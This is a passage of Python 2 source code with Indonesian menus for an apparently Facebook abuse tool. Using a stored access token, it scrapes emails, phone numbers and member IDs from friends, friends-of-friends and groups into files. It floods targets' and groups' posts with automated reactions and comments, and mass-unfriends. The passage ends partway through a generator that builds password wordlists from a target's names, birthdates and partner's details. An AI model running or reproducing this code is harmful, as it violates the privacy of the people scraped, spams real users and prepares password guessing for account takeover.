raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def id_member_grup(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mID grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') b = open(simg, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket) s = json.loads(re.text) for i in s['data']: idmem.append(i['id']) b.write(i['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + i['name'] print '\x1b[1;92mID \x1b[1;91m :\x1b[1;97m ' + i['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idmem) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + simg b.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(simg) print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def email(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: em.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(em) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(mails) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def emailfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: emfromteman.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(emfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def nomor_hp(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') url = 'https://graph.facebook.com/me/friends?access_token=' + toket r = requests.get(url) z = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for n in z['data']: x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hp.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hp) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(noms) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def hpfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hpfromteman.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hpfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def menu_bot(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Bot Reactions Target Post' print '\x1b[1;37;40m2. Bot Reactions Grup Post' print '\x1b[1;37;40m3. Bot Komen Target Post' print '\x1b[1;37;40m4. Bot Komen Grup Post' print '\x1b[1;37;40m5. Mass delete Post' print '\x1b[1;37;40m6. Terima permintaan pertemanan' print '\x1b[1;37;40m7. Hapus pertemanan' print '\x1b[1;31;40m0. Kembali' print bot_pilih() def bot_pilih(): bots = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if bots == '': print '\x1b[1;91m[!] Jangan kosong' bot_pilih() else: if bots == '1': menu_react() else: if bots == '2': grup_react() else: if bots == '3': bot_komen() else: if bots == '4': grup_komen() else: if bots == '5': deletepost() else: if bots == '6': accept() else: if bots == '7': unfriend() else: if bots == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + bots + ' \x1b[1;91mTidak ada' bot_pilih() def menu_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print react_pilih() def react_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' react_pilih() else: if aksi == '1': tipe = 'LIKE' react() else: if aksi == '2': tipe = 'LOVE' react() else: if aksi == '3': tipe = 'WOW' react() else: if aksi == '4': tipe = 'HAHA' react() else: if aksi == '5': tipe = 'SAD' react() else: if aksi == '6': tipe = 'ANGRY' react() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' react_pilih() def react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') try: oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksi.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksi)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print reactg_pilih() def reactg_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' reactg_pilih() else: if aksi == '1': tipe = 'LIKE' reactg() else: if aksi == '2': tipe = 'LOVE' reactg() else: if aksi == '3': tipe = 'WOW' reactg() else: if aksi == '4': tipe = 'HAHA' reactg() else: if aksi == '5': tipe = 'SAD' reactg() else: if aksi == '6': tipe = 'ANGRY' reactg() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' reactg_pilih() def reactg(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] try: oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksigrup.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksigrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def bot_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komen.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komen)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komengrup.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komengrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def deletepost(): os.system('reset') try: toket = open('login.txt', 'r').read() nam = requests.get('https://graph.facebook.com/me?access_token=' + toket) lol = json.loads(nam.text) nama = lol['name'] except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % nama jalan('\x1b[1;91m[+] \x1b[1;92mMulai menghapus postingan unfaedah\x1b[1;97m ...') print 40 * '\x1b[1;97m\xe2\x95\x90' asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket) asus = json.loads(asu.text) for p in asus['data']: id = p['id'] piro = 0 url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket) ok = json.loads(url.text) try: error = ok['error']['message'] print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mGagal' except TypeError: print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mTerhapus' piro += 1 except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Koneksi Error' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def accept(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket) teman = json.loads(r.text) if '[]' in str(teman['data']): print '\x1b[1;91m[!] Tidak ada permintaan pertemanan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in teman['data']: gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket) a = json.loads(gas.text) if 'error' in str(a): print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;91m Gagal' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;92m Berhasil' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def unfriend(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;97mStop \x1b[1;91mCTRL+C' print try: pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(pek.text) for i in cok['data']: nama = i['name'] id = i['id'] requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket) print '\x1b[1;97m[\x1b[1;92mTerhapus\x1b[1;97m] ' + nama + ' => ' + id except IndexError: pass except KeyboardInterrupt: print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def lain(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Buat postingan' print '\x1b[1;37;40m2. Buat Wordlist' print '\x1b[1;37;40m3. Akun Checker' print '\x1b[1;37;40m4. Lihat daftar grup' print '\x1b[1;37;40m5. Profile Guard' print print '\x1b[1;97m ->Coming soon<-' print print '\x1b[1;31;40m0. Kembali' print pilih_lain() def pilih_lain(): other = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if other == '': print '\x1b[1;91m[!] Jangan kosong' pilih_lain() else: if other == '1': status() else: if other == '2': wordlist() else: if other == '3': check_akun() else: if other == '4': grupsaya() else: if other == '5': guard() else: if other == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + other + ' \x1b[1;91mTidak ada' pilih_lain() def status(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' msg = raw_input('\x1b[1;91m[+] \x1b[1;92mKetik status \x1b[1;91m:\x1b[1;97m ') if msg == '': print '\x1b[1;91m[!] Jangan kosong' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket) op = json.loads(res.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id'] raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def wordlist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi data lengkap target dibawah' print 40 * '\x1b[1;97m\xe2\x95\x90' a = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Depan \x1b[1;97m: ') file = open(a + '.txt', 'w') b = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Tengah \x1b[1;97m: ') c = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Belakang \x1b[1;97m: ') d = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan \x1b[1;97m: ') e = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') f = e[0:2] g = e[2:4] h = e[4:] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;93mKalo Jomblo SKIP aja :v' i = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Pacar \x1b[1;97m: ') j = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan Pacar \x1b[1;97m: ') k = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir Pacar >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') l = k[0:2] m = k[2:4] n = k[4:] 